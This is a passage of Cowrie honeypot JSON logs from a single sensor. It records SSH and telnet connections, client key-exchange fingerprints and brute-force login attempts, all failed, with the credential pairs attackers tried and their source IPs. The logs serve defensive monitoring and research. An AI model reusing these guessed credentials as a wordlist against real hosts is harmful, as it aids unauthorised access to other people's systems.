.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:26.385869Z","src_ip":"159.203.92.129","session":"8efac3675615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andres","password":"andres","message":"login attempt [andres/andres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:26.397008Z","src_ip":"159.203.92.129","session":"8efac3675615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"duckhunt","message":"login attempt [user/duckhunt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:26.861627Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:27.402984Z","src_ip":"159.203.92.129","session":"8efac3675615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"donut","message":"login attempt [user/donut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:27.964216Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:29.065549Z","src_ip":"2.57.121.25","session":"272e73a3a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.695187091827393,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:30.473430Z","src_ip":"185.26.126.47","session":"a511d039097a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.93176317214966,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:39:32.802488Z","src_ip":"185.26.126.47","session":"fe0dc89d2c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44984,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4df2f4a938f","protocol":"ssh","message":"New connection: 159.203.92.129:44984 (159.203.135.109:22) [session: d4df2f4a938f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:08.431418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:08.436503Z","src_ip":"159.203.92.129","session":"d4df2f4a938f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:08.453935Z","src_ip":"159.203.92.129","session":"d4df2f4a938f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andres","password":"root","message":"login attempt [andres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:08.473714Z","src_ip":"159.203.92.129","session":"d4df2f4a938f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":49230,"dst_ip":"159.203.135.109","dst_port":22,"session":"7947305b5ec8","protocol":"ssh","message":"New connection: 103.180.212.135:49230 (159.203.135.109:22) [session: 7947305b5ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:08.893906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:08.909524Z","src_ip":"103.180.212.135","session":"7947305b5ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:09.107226Z","src_ip":"103.180.212.135","session":"7947305b5ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:09.505892Z","src_ip":"159.203.92.129","session":"d4df2f4a938f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"Admin@123","message":"login attempt [odoo/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:09.930715Z","src_ip":"103.180.212.135","session":"7947305b5ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":41340,"dst_ip":"159.203.135.109","dst_port":22,"session":"da74b175c9f1","protocol":"ssh","message":"New connection: 186.13.24.118:41340 (159.203.135.109:22) [session: da74b175c9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:10.399940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:10.409907Z","src_ip":"186.13.24.118","session":"da74b175c9f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:10.577564Z","src_ip":"186.13.24.118","session":"da74b175c9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:11.131478Z","src_ip":"103.180.212.135","session":"7947305b5ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"741852","message":"login attempt [test/741852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:11.277104Z","src_ip":"186.13.24.118","session":"da74b175c9f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46306,"dst_ip":"159.203.135.109","dst_port":23,"session":"5200d00c9acc","protocol":"telnet","message":"New connection: 185.26.126.47:46306 (159.203.135.109:23) [session: 5200d00c9acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:11.923983Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:12.446829Z","src_ip":"186.13.24.118","session":"da74b175c9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.1409382820129395,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:18.064769Z","src_ip":"185.26.126.47","session":"5200d00c9acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55686,"dst_ip":"159.203.135.109","dst_port":23,"session":"d26fc7406e96","protocol":"telnet","message":"New connection: 209.159.146.115:55686 (159.203.135.109:23) [session: d26fc7406e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:21.817667Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55688,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b17daec5d38","protocol":"telnet","message":"New connection: 209.159.146.115:55688 (159.203.135.109:23) [session: 8b17daec5d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:21.822688Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39692,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab11cabd806b","protocol":"telnet","message":"New connection: 209.159.146.115:39692 (159.203.135.109:23) [session: ab11cabd806b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:24.082421Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42294,"dst_ip":"159.203.135.109","dst_port":23,"session":"625ef0b0b314","protocol":"telnet","message":"New connection: 209.159.146.115:42294 (159.203.135.109:23) [session: 625ef0b0b314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:36.497300Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51860,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbe2ab35c066","protocol":"telnet","message":"New connection: 209.159.146.115:51860 (159.203.135.109:23) [session: fbe2ab35c066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:38.945315Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34254,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f4f085a950","protocol":"telnet","message":"New connection: 209.159.146.115:34254 (159.203.135.109:23) [session: d5f4f085a950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:40.517430Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":32970,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b2ca302f7a","protocol":"ssh","message":"New connection: 80.94.92.182:32970 (10.17.0.5:22) [session: 83b2ca302f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:41.719400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:41.893078Z","src_ip":"80.94.92.182","session":"83b2ca302f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:41.896442Z","src_ip":"80.94.92.182","session":"83b2ca302f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:43.150648Z","src_ip":"80.94.92.182","session":"83b2ca302f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42782,"dst_ip":"159.203.135.109","dst_port":23,"session":"886f5f789dd2","protocol":"telnet","message":"New connection: 185.26.126.47:42782 (159.203.135.109:23) [session: 886f5f789dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:43.500582Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49614,"dst_ip":"159.203.135.109","dst_port":23,"session":"791ee263fad9","protocol":"telnet","message":"New connection: 209.159.146.115:49614 (159.203.135.109:23) [session: 791ee263fad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:43.556800Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:44.389963Z","src_ip":"80.94.92.182","session":"83b2ca302f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40014,"dst_ip":"159.203.135.109","dst_port":23,"session":"37c29930f832","protocol":"telnet","message":"New connection: 209.159.146.115:40014 (159.203.135.109:23) [session: 37c29930f832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:48.225233Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42256,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c22a4eab9a","protocol":"telnet","message":"New connection: 209.159.146.115:42256 (159.203.135.109:23) [session: 80c22a4eab9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:48.847670Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52702,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d35dc8c2ae8","protocol":"ssh","message":"New connection: 159.203.92.129:52702 (159.203.135.109:22) [session: 2d35dc8c2ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:50.283481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:50.287665Z","src_ip":"159.203.92.129","session":"2d35dc8c2ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:50.292491Z","src_ip":"159.203.92.129","session":"2d35dc8c2ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"andrew","message":"login attempt [andrew/andrew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:50.303346Z","src_ip":"159.203.92.129","session":"2d35dc8c2ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:51.309852Z","src_ip":"159.203.92.129","session":"2d35dc8c2ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.832151412963867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:52.654758Z","src_ip":"209.159.146.115","session":"8b17daec5d38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841323137283325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:52.658850Z","src_ip":"209.159.146.115","session":"d26fc7406e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59872,"dst_ip":"159.203.135.109","dst_port":23,"session":"5180ac07ee15","protocol":"telnet","message":"New connection: 209.159.146.115:59872 (159.203.135.109:23) [session: 5180ac07ee15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:53.037507Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52138,"dst_ip":"159.203.135.109","dst_port":23,"session":"c442f8f0f00a","protocol":"telnet","message":"New connection: 185.26.126.47:52138 (159.203.135.109:23) [session: c442f8f0f00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:54.805108Z"}
{"eventid":"cowrie.session.closed","duration":32.68078112602234,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:56.763092Z","src_ip":"209.159.146.115","session":"ab11cabd806b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60792,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d2748d8a18","protocol":"telnet","message":"New connection: 209.159.146.115:60792 (159.203.135.109:23) [session: 84d2748d8a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:57.901929Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":42550,"dst_ip":"159.203.135.109","dst_port":22,"session":"62f9ee56abbc","protocol":"ssh","message":"New connection: 157.66.34.121:42550 (159.203.135.109:22) [session: 62f9ee56abbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:40:58.559849Z"}
